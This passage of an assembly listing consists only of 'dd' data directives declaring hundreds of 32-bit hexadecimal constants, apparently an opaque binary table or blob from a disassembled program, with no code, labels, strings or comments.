		dd 147A98ECh, 0E8693E1Ch, 0B92BFB10h, 45A3B7B2h, 3BBDC080h
		dd 24854656h, 0C619F842h, 6C2F6F6Dh, 0B61826ECh, 0E2D95701h
		dd 0F0FD16E8h, 0F7155426h, 14855B14h, 259406EDh, 4D0105B1h
		dd 0FE862D1Dh, 0B79D94AEh, 39E3F345h, 0E7E30FB8h, 0B61FA1B0h
		dd 0AD392CDEh, 3328677Fh, 424E23AFh, 0B9B26FE9h, 8BE8B706h
		dd 4A90836Dh, 3884404h,	95855066h, 596288E7h, 0D342E1Bh
		dd 9A4D325h, 1BCF8A09h,	9DF9CDh, 7F04E97Bh, 0DDD424DAh
		dd 0C670F927h, 0FC84098h, 2484C997h, 84AB80F7h,	0FE89EC5h
		dd 0D12CCE40h, 9840D488h, 8A691A57h, 8AAB34Ah, 2F77C6CEh
		dd 912C8912h, 1600E912h, 0A9F90314h, 0DF3342AEh, 0FDF59974h
		dd 0BBCB5264h, 0F417E025h, 794C2CDEh, 525E37D0h, 299E6290h
		dd 0E0CA226Ah, 0F399A0A3h, 94949CFDh, 0B4C31FDh, 3E68C420h
		dd 0C38D7782h, 51B195BBh, 44316B83h, 9B542B00h,	7C2A56CDh
		dd 84ECC962h, 0BB2B3B9Bh, 62CEEAAAh, 37453F44h,	8D794B33h
		dd 0D2C9C715h, 0E63F5FEDh, 0D008207Fh, 0C742BEDBh, 9C5EF117h
		dd 516ABB6Ah, 0B46833C4h, 9B3B46EDh, 0B6442CAEh, 47EFBAB2h
		dd 0DB7BEEAEh, 16B77331h, 641BB309h, 49A535DAh,	977BC6AFh
		dd 0F7D56750h, 5CDE494Ch, 0E7CC61E8h, 31412184h, 56A5B7F9h
		dd 70A706D5h, 6BBBF893h, 9A756498h, 0E8B1A72Bh,	70DEBB82h
		dd 0DDCF5572h, 0EB85E9A8h, 0EEA8BC9Ah, 339169F1h, 45A371F6h
		dd 0E2BB40A8h, 0DB41790Bh, 0DE2413DDh, 0F087EB26h, 5479DEBFh
		dd 0E21827E0h, 5EF61547h, 5B7AC35Ah, 0F5B71AF5h, 0FA9BB102h
		dd 8F836923h, 80579341h, 0C5708484h, 0AF168FF1h, 4734D51Eh
		dd 8B09150Bh, 0C762D14Bh, 7044685Bh, 7FE1B694h,	0EE9D713Bh
		dd 99D779EDh, 0BC2CC7B3h, 8A1905A9h, 79EC1105h,	589D74D8h
		dd 1476F1CDh, 3FA4C9B7h, 6430A677h, 64FF7E4Bh, 86134699h
		dd 0B3910FF7h, 0C653B92Bh, 552CC0A0h, 33763687h, 0D2E6BB57h
		dd 7D72E00Bh, 5A07DD3Fh, 987ED2CDh, 8A09064Fh, 2376230Ah
		dd 9DBD9E9Dh, 0D9C5A391h, 352FF2CBh, 4E71C4Dh, 571BC258h
		dd 2281F11Eh, 24022509h, 0DE9239DAh, 301144A5h,	44573BD4h
		dd 0B6199Ah, 6C37E2E2h,	71442Dh, 0AD5AC060h, 0F44CC43Bh
		dd 248998C5h, 0E4628A78h, 0F1A54673h, 0AA53DCDBh, 6D56A28Dh
		dd 0EB85EFA9h, 0D8692498h, 322B5B06h, 0C6D8281Bh, 4D57D5B8h
		dd 24886236h, 210CC6E2h, 0E6F36904h, 0D1E02236h, 0E287594Fh
		dd 76060AE8h, 61FCD35Ah, 0E66CB4C2h, 0C8EA46FAh, 0F15AB023h
		dd 0FFBE4508h, 787005EBh, 0F6ED7130h, 4924BDA4h, 43523498h
		dd 0D55122F0h, 0BB884EF8h, 0A79DC002h, 58B8648Ah, 2C4758A0h
		dd 5CA5B543h, 0F64F4FB2h, 6E6618FDh, 2D93655Bh,	17B12ADFh
		dd 2A5BB19Eh, 14B533A2h, 4484B6D3h, 8886990Ah, 0EB570176h
		dd 10E554CDh, 72C23F4Fh, 33273BCEh, 0D2EAB825h,	706A8DCh
		dd 87E82CC1h, 1D0DE6E0h, 58DC1907h, 5033DB5Ah, 73617AF7h
		dd 383AC67Eh, 2105C173h, 0C2D1454Dh, 0E1738451h, 0C6D69Dh
		dd 99E0BBE1h, 15ADE7C8h, 8C312E9Ch, 0BBB98E96h,	42884967h
		dd 0E03738C7h, 0C539FB09h, 0D3FCC5D5h, 88B38621h, 148DC1BFh
		dd 46285DCh, 5BB1C94Ah,	801EB5CBh, 0B3D8EDE2h, 917B4106h
		dd 6CF2F4A1h, 0BBD74DA9h, 3900B0ABh, 3143CA37h,	0A0043F5Dh
		dd 0FA3E790Ah, 0CFDA68ADh, 0D1D0ABA9h, 0E94F9688h, 9E468DCEh
		dd 92ACD32h, 72E717C4h,	393A2666h, 0CC4BEC1Ah, 52CC3AB2h
		dd 2CFDF92Eh, 4D7CBE00h, 0BF9F5863h, 0F909C5C5h, 8A2EA6E8h
		dd 53186B12h, 2A1E61CCh, 85B4DBBDh, 484AC5AFh, 8A62BC2h
		dd 7364715Ch, 59B79E60h, 19F52C88h, 0F9A1A243h,	0C05B10C7h
		dd 333C7231h, 145336C7h, 875B7662h, 93AFECAFh, 8E2F3C92h
		dd 0F45ED4FFh, 241E9282h, 2C6D6942h, 8E6B6467h,	8627D13Eh
		dd 1D1F8960h, 29B6B817h, 0FA63B004h, 0A1BF9DC0h, 861EC845h
		dd 3DE9494Bh, 0ADADBA4Dh, 0E56D8452h, 9CCC08F6h, 5F95D60Eh
		dd 723C4F3Ah, 0BDA12217h, 7DA10147h, 7A98FE6Eh,	0F93255D6h
		dd 93074869h, 0A7257492h, 0ABCF397Bh, 4789F70Ch, 0AF6BFE7Eh
		dd 0B706B23Ah, 705739E0h, 0F144A2B2h, 0B7BDE621h, 94EC996Fh
		dd 97BF25ABh, 0C6307C7Eh, 0B2B51332h, 0DEC43853h, 0C2EC6695h
		dd 280B3B7Dh, 883FD0B5h, 69C741D1h, 869E240Dh, 1393E35Ah
		dd 0E06CDE91h, 0C5AF9466h, 3FF2C54Bh, 0A5AD3A5Dh, 776E8452h
		dd 0F0A0C18h, 874F60BEh, 0D5803396h, 3D512E46h,	7B396320h
		dd 0F0AF0D8Bh, 0F16E5DB7h, 0AA172285h, 94B0623Dh, 0C85CC068h
		dd 99006D00h, 5BBD5EDBh, 25B1DC9Ah, 0D04E9DF8h,	59214E4Fh
		dd 147BE999h, 5FDE4F19h, 9BE43B80h, 0C63CBC7Ah,	0B2AD9F3Ah
		dd 0FB79B463h, 0D322960Dh, 0CD04B264h, 27797E93h, 1ECE79E0h
		dd 0B6EB07h, 127AFB5Ah,	4582B62h, 704CA912h, 157672A6h
		dd 9EFDB37Ch, 0EADF9150h, 1BC6E375h, 3F4ECE77h,	15983304h
		dd 0BD612E42h, 8D177428h
		dd 3BDEB973h, 0E97F742h, 0E4945951h, 36A56A95h,	0E41F0064h
		dd 71F0BAFDh, 0BFE96089h, 0F55A0F2Bh, 0AD33BBE5h, 8E214A6Ah
		dd 0EB7B8B29h, 8413F978h, 4BF547D5h, 4AFEC86h, 0A2504F33h
		dd 247E4363h, 0D3CC06C8h, 0EEC57BDh, 0C7452940h, 0E12413B9h
		dd 6826B922h, 0B23EFC4Ah, 7A7C0E61h, 0B2367D37h, 0C38B6933h
		dd 87E80616h, 0A310729Eh, 0BAE9F3ACh, 40C56FEh,	6052B0D7h
		dd 2D61D206h, 634DA4D4h, 0DD2F4526h, 0E748B1E5h, 0DE17B5EDh
		dd 0D02C419Ch, 368F982Ah, 95817B69h, 8B9D688Dh,	0CC3A98C9h
		dd 0D42EEDC4h, 6745B036h, 7E7BDFAAh, 9EF532Ah, 53813882h
		dd 392D13FAh, 755CFB9Ch, 0DB1A8B56h, 8B3973Dh, 0A53F7019h
		dd 5C282A19h, 0E180760Dh, 911EC9E8h, 4AEB0B75h,	3FEBF5C4h
		dd 4E31C597h, 788129DCh, 0C6CE4545h, 8B71F150h,	5F0C4FF0h
		dd 0DDE06E01h, 0EC95B0E8h, 0D582C5EAh, 0A8A8BED3h, 0DCE2CCC0h
		dd 1B671D5Eh, 0CF1766ADh, 0F920C3FCh, 0F424D030h, 0EC109E59h
		dd 646ADD9Ch, 3C5999E5h, 0D95B64FBh, 0E84CC1EAh, 7C5F8528h
		dd 94EFF0E3h, 4C6D2144h, 0D17D8301h, 0B25390B3h, 0AEA06E5Ah
		dd 6FB11A11h, 5EAC9ADAh, 0D10F88A8h, 931E9588h,	96E13992h
		dd 562643A5h, 0FA06BE21h, 0B0AC1978h, 76FE949h,	5C37C527h
		dd 81857313h, 4FFD9925h, 0C4F886EBh, 815D35D6h,	8D34D19Ah
		dd 47779895h, 0D462E959h, 874167B7h, 6092C24Fh,	0A55A656Ah
		dd 0A4402852h, 96F73215h, 0CB889EA6h, 0E0A1C866h, 1B052A14h
		dd 0A76CB239h, 959E007Dh, 84EB1184h, 0EC8617CBh, 3947BC90h
		dd 0B3393F65h, 0DB81485Bh, 972F686Dh, 875F6413h, 0BA406307h
		dd 0F647CE51h, 96C94928h, 0ECEE4203h, 3ADDF9E8h, 0AFC71BFBh
		dd 6905C323h, 5DBD464Dh, 761184C5h, 0D7F7868Ah,	1A482B01h
		dd 0F60CA0C6h, 64E546E4h, 0A8807762h, 8D21B697h, 81EC67FCh
		dd 0D8E81E4Fh, 3EA564D9h, 0BBA50315h, 39009F40h, 6B9DBFC8h
		dd 0D9BDBEE5h, 5B43E8h,	22B803E9h, 300E77AEh, 0ECE37C96h
		dd 0ABD0BD8Eh, 0C6FA261Eh, 0E10BE708h, 251524DCh, 2C6F8B5Dh
		dd 0EB530B8h, 38DFF450h, 1FA7903Bh, 965918E8h, 3A43AB2Fh
		dd 137FCE44h, 513F0EA1h, 6905ADA0h, 1DB83A4Dh, 85448453h
		dd 6C5C706Eh, 0D18C4AFEh, 0F2B1ACh, 0C224A34Fh,	0E6B79898h
		dd 0D03172A6h, 0EC7361ABh, 6AEB0CF0h, 8A665E6h,	6FC94E34h
		dd 89FF609Ch, 1B88998Ah, 94A1CA63h, 3F911B16h, 64CDC6A1h
		dd 0ECFE1033h, 0D21106A1h, 0BBFD0F47h, 0C67D6432h, 0B2AC7D6Ah
		dd 0CEA565C3h, 0C33E66F1h, 0F5BFC2EEh, 0A507393Fh, 13C26DA8h
		dd 17D1CE8h, 0EB7252h, 438E875h, 0A1047AEDh, 0F2055CDCh
		dd 0A5508558h, 8D95B5BFh, 6C560C63h, 0CFB04B00h, 0A5756829h
		dd 41063854h, 0BAECE49Ch, 8F1E8978h, 11BEB9F7h,	0B2428A24h
		dd 3EA52263h, 0F6A4C304h, 92009F29h, 616304Fh, 71340315h
		dd 80A4930Ah, 1431D772h, 9D7B6EDDh, 5986BF85h, 53C02469h
		dd 0C6D1ABF5h, 37D8E83Eh, 24A4FEC3h, 0DCC3F0CDh, 1BBC7F2Dh
		dd 0C10F3B84h, 0C3871105h, 3C59AE8h, 0C873DB5Ah, 1E2BE9Dh
		dd 533F5512h, 0C71D1673h, 24BCC5B1h, 0A18A842Ah, 9873A38Ah
		dd 0B84BC0CBh, 35F8E99Fh, 3FD2AAB3h, 33856760h,	2E619548h
		dd 25748AFFh, 0BCFF5975h, 4D5A6528h, 8BC94E4Dh,	99FF60EBh
		dd 2B929831h, 95A43B9Dh, 0CD4B722Ah, 9BC12E30h,	1411F9DDh
		dd 8436642Ch, 0BB5549A3h, 69D142E6h, 4E9D2490h,	0E6DF22F3h
		dd 0C3239EADh, 8BF27E87h, 2D0830C0h, 0A68C1D8h,	79B59DDBh
		dd 94647BDFh, 84EFBE28h, 0ABC0397Ah, 98D2423h, 0FD50BABDh
		dd 0AA879150h, 0F34FE375h, 0EAA03E27h, 0CA89B043h, 6F197E43h
		dd 0EEE8674Ch, 0D15BC412h, 0AEC81D71h, 0D517CCFCh, 0FEF56509h
		dd 874CEE38h, 1E68C19Eh, 0B68D6441h, 4E5DC798h,	0C9B32028h
		dd 0BD312A99h, 91F6F604h, 7B112545h, 976A0CE5h,	6077FD26h
		dd 0B28D1A3Fh, 0DBD0BFF3h, 83DF6731h, 0E57D945h, 5FA69840h
		dd 0E00B980Dh, 0EC582DE8h, 0EFD4335Ah, 5DF5E6CDh, 1A294912h
		dd 88F796F6h, 0B1C5C989h, 0CBDD85C5h, 0AFD61F75h, 729B3AFh
		dd 25924F36h, 0C11D3854h, 0A70CE49Eh, 0DC6A89CFh, 0FEA092FBh
		dd 8E02B66Dh, 0FBB59A12h, 0EB4CA807h, 0A90068FBh, 0F7317126h
		dd 143CD69Dh, 3FA4AAD7h, 4837CEE5h, 9122B95Dh, 9E3CD86h
		dd 440C8432h, 2CD06DDDh, 0A254CD9Fh, 2B56B71Eh,	3B7666C2h
		dd 0E775285h, 0A6274799h, 1F721785h, 390A86E7h,	0ED2BDEA5h
		dd 6DBC8E9Dh, 563EAC14h, 0DA12C17Ah, 0EBF1454Ch, 1BBD0DF4h
		dd 0E91A30B6h, 166BF676h, 3C007306h, 0E9427E58h, 86A43AEAh
		dd 0D75621B3h, 0EAC8F290h, 3717B51Dh, 12B5E765h, 0CAB3CEB1h
		dd 0B1019E67h, 0E47E8BF1h, 843A98E2h, 3983FDDFh, 0E43122B1h
		dd 9D8246C5h, 0EED94284h, 44E65BB9h, 38299D2Bh,	562C5957h
		dd 1FD4CD7Ch, 5A221211h, 0E6238568h, 0D2EFE16Ah, 19273DD8h
		dd 1AEA6516h, 0C929BB52h, 32867E9Dh, 2B3EE6C6h,	7440E5E7h
		dd 622BC18Ah, 0B63A41D0h, 0CF3DF24Ch, 0C75846EAh, 0B59D81D1h
		dd 0D38875E3h, 0E0DBA43Bh, 0DEBA05CFh, 0EF93BE1Ch, 28FCB654h
		dd 95A1D955h, 0F31749D5h, 0EE045924h, 0AB9D9AD8h, 0D5CCC09Ch
		dd 0A82EA152h, 70156A31h, 0CCF173D5h, 0D12DC21Fh, 5750A132h
		dd 6E79EE2Eh, 0B3513927h, 0AF45CDA3h, 2C3A9981h, 0F6998D8h
		dd 31EA24D0h, 778E6177h, 7A34771Fh, 0ED13CEA5h,	0F4866E9Dh
		dd 4FD139CAh, 0EF47269h, 55ECCC15h, 0BD27442Ah,	0FFD00C77h
		dd 62A44A00h, 0DC40C501h, 0BF312DB5h, 512DA000h, 24EF6DADh
		dd 0C0C78716h, 97F490Bh, 0E1B59A26h, 0F7B06EB1h, 853D1A57h
		dd 0FB8D6A69h, 86BEDF69h, 0AB70D2h, 533E6AAAh, 14884D5Ah
		dd 9D06D951h, 0E22C9B5Ah, 0C93B5E4Fh, 559A137h,	0DBA13AA6h
		dd 6427C94Dh, 0E9B74A8h, 0B8379D50h, 46D87F6Fh,	6660F24Eh
		dd 793BE3AAh, 976E96F9h, 59126BFAh, 785230DCh, 0C4202D09h
		dd 0A9B4D44Fh, 9931F36Bh, 3093E2BAh, 8A1D5684h,	6949F2C8h
		dd 5F5867BFh, 2DE19AC9h, 43BB2618h, 0A117A578h,	0F0A562ABh
		dd 0CB31481h, 1CECDCEEh, 0AE196519h, 0EEB1C29Eh, 4CB392A2h
		dd 3DCEC966h, 69FB9FD6h, 1E179BAh, 0BBD306EFh, 39F07F7Ah
		dd 6103D92Fh, 0D40BCCACh, 83C8DB0Ah, 0F18F0E92h, 0DA2F22B5h
		dd 9CC87D50h, 0AAF005D3h, 3783FB2Fh, 6FFE5E45h,	5A3E2A21h
		dd 0FF15C07Ah, 91C0454Ch, 4E4D8477h, 1FCC2069h,	7FDDF9A6h
		dd 0BAB5A0C1h, 40ACD856h, 0B1403798h, 3A4E4999h, 3EC83192h
		dd 0C7FF1040h, 9F5A653Bh, 6C48B644h, 7E01414Ah,	6C92B36Ch
		dd 7141D119h, 680D2CC7h, 1BCEED04h, 917495DDh, 0ECFE1C83h
		dd 0ABD3F36Dh, 0C6FAA7E6h, 77B0E8D8h, 0B3533342h, 0C32C4948h
		dd 0F1B1B1C5h, 3A9996BFh, 0E0F865F9h, 9ED08C4Eh, 0EDF33DFh
		dd 80B999F5h, 76707102h, 165316DCh, 89A8C4D0h, 9F86C159h
		dd 0F0987745h, 0DDFC3EFFh, 12ADB016h, 0C0BEFC29h, 0B70C0F3Dh
		dd 0E2764941h, 98481D4Dh, 0A9DB0C9Ch, 81264B7Bh, 0BCA4CC40h
		dd 0FF7ADAh, 0DF62969Eh, 81E46786h, 5D1985Eh, 60F14D6Bh
		dd 0EBA8ACD7h, 0F9688D09h, 0BBE23B57h, 0B2EFC10Ah, 7260E56Ah
		dd 25ECF372h, 0D31A5288h, 58DF7AECh, 2DEAFA28h,	10D30577h
		dd 75C0C192h, 0F2A78EA5h, 7711EC97h, 44B9D14Bh,	0F5E2B923h
		dd 1454BA9Eh, 165E9346h, 0C420C4Ah, 9841CF14h, 5BCDE93Ch
		dd 57612E6Dh, 4B17B57Fh
		dd 69361F6Ah, 9BC81C9Dh, 0A4E30B58h, 8EB5EC76h,	0F74C1827h
		dd 8ED17C2Fh, 5E744965h, 0D9B1EF1Ch, 5A5F2Fh, 0A1BCCAD1h
		dd 0FC2EB1A7h, 7B1697D6h, 32CD2006h, 36EF78C5h,	0B260769Bh
		dd 22C0B063h, 6EF591DDh, 1DB7AADh, 5BC18CF7h, 5A5CCDh
		dd 18D51D15h, 182D3E49h, 0CF1A0E9Dh, 92C05B2Fh,	321F1D23h
		dd 51ABC5DBh, 0E8FBDC7h, 1981B5Ah, 0EED5C103h, 7AADB04Fh
		dd 3FB602D2h, 65598F7Dh, 2C47B6CDh, 3DE41316h, 2E133E7Bh
		dd 1CC170AEh, 27CF308Bh, 0DC003EBh, 7BD8D7BCh, 91B1EE9Dh
		dd 1BDFFB3Bh, 0F2BACFCEh, 1478FD29h, 7BE93B88h,	0BBD9F431h
		dd 0EE2C5502h, 0E688211Fh, 8341CCC2h, 0A7AD1A64h, 7E618A57h
		dd 3A27CAC4h, 77AD68h, 18359C4Eh, 0CCED6370h, 0BD060E9Dh
		dd 0C83D86C3h, 35361CDCh, 1242554Ch, 5FA67B7Ah,	5007D6C9h
		dd 0CF882EFCh, 456A47D9h, 0BE696B7Ch, 5DA8676Dh, 2CA1B636h
		dd 0C44315E4h, 0F58AA69Fh, 61FC6759h, 0AB4C2339h, 8D75798Eh
		dd 644804F2h, 1DD9B0E3h, 684AA406h, 1BCE1250h, 3EAA1901h
		dd 0DAB6294Fh, 0E6312DD2h, 0CFBB95BDh, 72E64EF8h, 0EF402077h
		dd 0C3746F21h, 0F1079CC5h, 0F7AC92BFh, 10477CB4h, 6EFD7D17h
		dd 0E53135Ah, 9A6E1235h, 0C501CEF9h, 945D0CAAh,	3C29921Ah
		dd 7E308453h, 8F55F320h, 2F943EC0h, 0FA9D993Ah,	0B68DEA38h
		dd 3D770DB4h, 0C96119DCh, 0D3B71FB3h, 0D347BE4Ch, 0EC59388Bh
		dd 0E7714C44h, 69108657h, 2E107F2Eh, 1F59B860h,	19A5551Fh
		dd 6431E201h, 0ED8F1058h, 82039BC5h, 7C55448Bh,	0EFE5D52Dh
		dd 0E68B210Fh, 8347CCE3h, 38811624h, 0B6A727CBh, 3A07D416h
		dd 0FFA85ECBh, 0BD5D484Eh, 0E46C1B5Dh, 8A125688h, 8D29BA02h
		dd 3EF84ACBh, 2965C0B3h, 0F380B5ADh, 0E8E98C91h, 0F780E863h
		dd 0C555AA2Ah, 82327744h, 0A468974Eh, 35DB3D2Fh, 3BC81C07h
		dd 2D3EBD29h, 0B5FBC796h, 141123ADh, 0D0E50E12h, 7B954276h
		dd 6C3AB81Ch, 6A1EC2C0h, 587457B8h, 327A690Bh, 406A0949h
		dd 799A381h, 3935FD32h,	0A7166B72h, 0DA60864Bh,	6FFDEE4Dh
		dd 5E34B35Ah, 0D23966A8h, 0EAFE0988h, 0D1D02B10h, 1BD35CADh
		dd 8B69B31Eh, 0FB23CA66h, 7FB4E42Bh, 71A23ABBh,	6E120747h
		dd 7B38AA4Ah, 5EB256EFh, 0FF80A0C2h, 0C75ED907h, 94268F23h
		dd 8147492Eh, 0DFC338EEh, 1ACEE595h, 7420159Eh,	43B330C3h
		dd 0D926D08Fh, 0C8C44FDAh, 65B1E6E2h, 19D6C6F6h, 0E1BCC6BCh
		dd 0EB876EEFh, 0A2D610EAh, 0E2853B6Fh, 0B43A4B4Dh, 4D958FFAh
		dd 0F7527E2Ch, 8A7E609Bh, 0A242C234h, 82F81937h, 510B1705h
		dd 6D1FE97Dh, 1886AB30h, 8B8BDEF7h, 7A607C9Fh, 0A761D6DCh
		dd 9D49BA4Ch, 0E3258453h, 9F78878Ah, 58CF8E48h,	1A604F3Dh
		dd 47C12E78h, 4DDFCBC6h, 784BB6D6h, 0FC27E395h,	924C0E39h
		dd 9966C56Ah, 0F73A752h, 0C16A8708h, 4E621770h,	61B118AFh
		dd 40DF6F5Bh, 0E05BE2C8h, 14AE0B3Ah, 9117BBABh,	0ABDC26C5h
		dd 0CFB3B827h, 4D36B812h, 0DA4696D6h, 38BC518Dh, 1B3C193Ch
		dd 0C20F1AF8h, 0B992ABDBh, 5C85E5EAh, 43F2F39Ah, 71E8FB5Eh
		dd 0DFC07591h, 0F058BE75h, 435CCA4Ch, 0A136EEAFh, 7098435Fh
		dd 0C2F7B7EDh, 9231C402h, 38C12E10h, 0B2DEFD18h, 0CC611A38h
		dd 0DDB71EDBh, 0EE92887Ch, 2BF6938Bh, 0BB17701h, 22C0B637h
		dd 0A6622670h, 7E100DAh, 0BDE6A72Dh, 0A4B4BEBDh, 69FBA026h
		dd 879DDC4Ch, 0ED9B0442h, 0C48EAB55h, 4D36236Fh, 0DA4996E6h
		dd 8C9AE9EDh, 0E27615B3h, 5AA2239Dh, 1D7BD56Dh,	65E86A44h
		dd 1806BB30h, 948BBEF7h, 8BB6B978h, 0C9E9274Bh,	475F2F5Ch
		dd 5C8EEADh, 0BDA7E6B5h, 0A7B52EFDh, 2F9AA6B7h,	0A8F1D214h
		dd 0B3EC574Dh, 5ADB3C2Bh, 9CDC1CA5h, 57FC8EC0h,	0D741DD31h
		dd 844CCEE4h, 320068A2h, 0B89DF8FFh, 32B1177Ah,	0C75A44B6h
		dd 0E43052F8h, 51F5A14Dh, 78AD4141h, 0EB30DEF8h, 0C665FCCCh
		dd 0B2997742h, 0AF75ABF3h, 43759FCBh, 33EB4E51h, 0D3FFE570h
		dd 0C9645DFDh, 5CD216E8h, 292F289Ah, 1C3ACE5Dh,	0D91E04FEh
		dd 34013E75h, 3E5FFA24h, 2430EEAFh, 0E07C0C4Ah,	8E3C3E00h
		dd 0EAD3501h, 387746B4h, 29A06771h, 8A0E49FCh, 3303F6ACh
		dd 0C09E5EEDh, 0C0D16E6Bh, 0FC7826A2h, 30597F18h, 1E62421Dh
		dd 81B11B27h, 784F4980h, 0ED21A640h, 4F26E6B5h,	6161ED65h
		dd 0E8C057F4h, 0CF0669F4h, 0BD640C37h, 0B0B64493h, 63739E3Dh
		dd 87E74990h, 0DC276707h, 1F7F30Ch, 5E39317h, 9EC1DC0h
		dd 21F461CAh, 0CD79EFh,	0C1EBACE0h, 0EAB61668h,	1FCE7B51h
		dd 0DEE835C3h, 743A4B02h, 47EDA53Dh, 46463E85h,	0B355DF64h
		dd 32AEC035h, 24C1D224h, 6F0324F9h, 0C2A54E7Ch,	0CB593193h
		dd 2810807Ah, 6E4690D9h, 0E44EB614h, 905A496Bh,	0B6DA628Ch
		dd 449CF4C1h, 38FD57F4h, 3ECF5B84h, 0BA3E0A5Eh,	0C7635B3Ah
		dd 9C411F80h, 0F5119798h, 0E994947h, 1BFA1C13h,	84D75C75h
		dd 0D01281D7h, 19ACD358h, 839F7E76h, 98DDE582h,	0B737D91Eh
		dd 0BA5DB04Ch, 41617B61h, 30904B5Eh, 0D2DB69EDh, 0EA5D4D75h
		dd 675EDE0Ch, 0EE64EE2Dh, 3F171CE7h, 0CE970FD6h, 52444EE5h
		dd 0DC9AF089h, 7B26CEDBh, 0BCFF80CDh, 0FB9DE8EAh, 11342617h
		dd 414C3EDCh, 645BBEA2h, 14134926h, 848298CAh, 0BB06F513h
		dd 5337D48Ah, 0B3775B4Dh, 25D82EB3h, 0BB6A6E7Ch, 1EEFABE5h
		dd 0D30176A8h, 14280898h, 7E350CDBh, 0C2E918D3h, 831F51E8h
		dd 97DDC582h, 0B137981Eh, 6B4D304Ch, 4B8B9150h,	6C87E34Bh
		dd 0D6DFC103h, 0FBACF00Dh, 0EF312E85h, 4ED07289h, 1AEF5927h
		dd 0D03750BCh, 0D39126E1h, 0DE4D88D6h, 2EB33168h, 0F9477E76h
		dd 0FB9D1A65h, 3167C476h, 0EDDF35C3h, 0B4CE455Ch, 0E8A154B0h
		dd 16598A1h, 4420E590h,	0C7D77B1Fh, 37EB4CC8h, 254ED043h
		dd 80690B0Dh, 0F32F5D52h, 135AFD40h, 14D850FDh,	7E557187h
		dd 1928D367h, 14633B9Dh, 31A26DDh, 4CCC97C7h, 159C54Dh
		dd 50D4212Ch, 93710CB4h, 41CD298h, 0F94D40A8h, 0FE21DAE0h
		dd 0B3499F32h, 5F934926h, 2F481DBFh, 8FEB0B14h,	0B2F5748Bh
		dd 66B39DB6h, 89007CA3h, 0DBE8DA5Fh, 0ED21F761h, 0F067AED3h
		dd 1131B6A6h, 0EBB6DA4Ch, 3CFD87F1h, 0EDCF3B82h, 0C4882B6Dh
		dd 4AEF233Fh, 53E9710Ch, 80AD3B51h, 0ED8233Bh, 0D3ADEECFh
		dd 14C842E2h, 7E7574A7h, 0A66928D3h, 688875E9h,	0EDDDF613h
		dd 0AD33FFB9h, 0B14DBA1Fh, 2F2D8452h, 0F58CA58Dh, 0B718C32Dh
		dd 3A04F9Bh, 0EA412E7Bh, 4E907288h, 1A6F5921h, 126CBD19h
		dd 82F2C7CCh, 0DAA0A42Ah, 71A9D84h, 91005703h, 279D9E97h
		dd 99E102E1h, 805A9D7Fh, 79BCEBFBh, 0EB86AD4Eh,	78E8ED2Eh
		dd 538F24BEh, 39305FF6h, 0DAAAB27Eh, 0CAB3F9D9h, 0F2E68ECEh
		dd 57BA4B2Dh, 56421971h, 0FEF8BF74h, 6EAAED47h,	66C6F355h
		dd 6C60AB10h, 0EC8D66EDh, 3F32E921h, 0F4F8D0B3h, 5EBB94AFh
		dd 75B29B3Eh, 0B8EBC505h, 0FBBDB1E1h, 0C2B9AB0Bh, 3E58988Bh
		dd 246485A5h, 543AB3A0h, 0FFE8B45Dh, 0CCA5F36Eh, 7B4C1D6Eh
		dd 72FC38D8h, 0BE62FCA5h, 41B0F14Ah, 0BA9E675Ah, 0A4B7B15Ch
		dd 91BFC93Bh, 7B14A35Bh, 62579343h, 0BCB1AE8Ah,	4D8EC9E3h
		dd 689D023h, 56A26601h,	3C5C3F2Dh, 66C8AE36h, 0FDE8BD74h
		dd 9D2994E8h, 92E5EB5Ah, 746965C3h, 0FA887A4Fh,	95DE28C7h
		dd 9E5B4548h, 16E980C8h, 38F27E5Bh, 37EFC101h, 3B856727h
		dd 34287782h, 4F139FE1h
		dd 235BC4ECh, 82C81CC6h, 137ECB9h, 65A4CFB6h, 679A510Ch
		dd 0C4E8DDD7h, 0E29D00BBh, 45358247h, 50A51ED7h, 0B4CE092Eh
		dd 2B11ED23h, 0EEEB5FADh, 0D1D98145h, 0C1B91386h, 0E28E8CECh
		dd 0DA9DAD0Bh, 47A6995Dh, 884D4A50h, 0D7B6E680h, 0C56F4889h
		dd 61D56552h, 6667035Ah, 0C8584B10h, 72345D78h,	98E79C4Ah
		dd 332E3A5Ch, 0F7A0915Fh, 9DBEE34Bh, 770C3C02h,	0D6A9DACFh
		dd 9331D6C7h, 58C80D78h, 0CB1E9CFDh, 2D4B96C3h,	0EEAD75Ah
		dd 58C015BAh, 0EE48A17Ch, 13507692h, 0E39D6ABFh, 81B0DABCh
		dd 3FA69553h, 64CFD2B6h, 0EC1C6259h, 9EF22AEh, 0D1896302h
		dd 513C9486h, 0A27066FDh, 25615AECh, 0D34DFF28h, 65572F7Dh
		dd 0C33F3F0Bh, 20D4BE2h, 60004E7Fh, 9E58F44Ah, 64F80B62h
		dd 7AB66912h, 732229C1h, 0D15A5A84h, 6669C4F9h,	0C07B1043h
		dd 7623F90h, 7B400FA7h,	0C5E4D192h, 4D307282h, 0FC365912h
		dd 3B27E3F5h, 0F1750E9h, 0CAF5D6F7h, 4F4C1D53h,	616A8F8Dh
		dd 9B48B3B3h, 0DC5F18Eh, 7DC2F2D3h, 6A5A58A3h, 0FC69E591h
		dd 84EB5F2Fh, 0D389CB10h, 293C0770h, 0B21AF26Dh, 0DA4B556Bh
		dd 2FC4980Dh, 0F0C150D2h, 0A6C4FB40h, 9E6AB374h, 3BF595EAh
		dd 0A090FFD3h, 1548B8CEh, 1B4E19C7h, 0F0358322h, 334F3A4Ch
		dd 8B2A845Ch, 0DCBD7688h, 2FB6DE1h, 8B9D4C2Bh, 86D2E80Ah
		dd 3074C768h, 0B068CC1Dh, 9377D227h, 0CC264DA0h, 0F966CDFCh
		dd 0B7CF2EC5h, 914503FFh, 97D88DABh, 0B9B0648Eh, 4055E693h
		dd 645846CAh, 6186F922h, 8C9EC7A4h, 464DAEB4h, 0F9B82EFAh
		dd 0C78F147Ah, 0C470C727h, 93EF677Dh, 1922BBBDh, 0D34DF5AAh
		dd 0FD673B77h, 750A6D62h, 73EDE6C2h, 661C8B62h,	7123A507h
		dd 0D8D92032h, 30DC108Fh, 516DD7F0h, 2973B6C0h,	528BC2BFh
		dd 0E6DE6C7h, 0E0B12E9Dh, 0C597A0F4h, 0DA74A1F1h, 5D6EE321h
		dd 5E09A48Ah, 0FD59E359h, 3F4DA112h, 51008A87h,	873914E4h
		dd 0C933191Eh, 895E902Eh, 0A23AAF50h, 69A6C404h, 0DB2B0177h
		dd 5750F013h, 0B068DDABh, 0A29CF112h, 51C8FF70h, 0A63C7B00h
